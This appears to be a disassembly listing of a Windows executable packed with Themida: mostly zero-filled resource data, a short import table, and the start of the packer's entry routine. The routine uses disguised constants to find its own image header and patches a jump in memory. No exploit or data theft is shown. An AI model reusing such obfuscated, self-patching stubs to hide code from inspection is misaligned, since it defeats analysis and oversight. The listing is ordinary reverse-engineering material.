		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Οe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00102000 (1056768.)
; Section size in file		: 00102000 (1056768.)
; Offset to raw	data for section: 00115000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 515000h
		dd 0F5436A0Eh, 40CB7h, 5F836h, 15A172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058248B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00585A20 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00585C96 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
a7pq		db 'Ϋ-7PQ',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		db 3
		dd 526AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_58248B
		mov	ecx, offset word_51526A
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
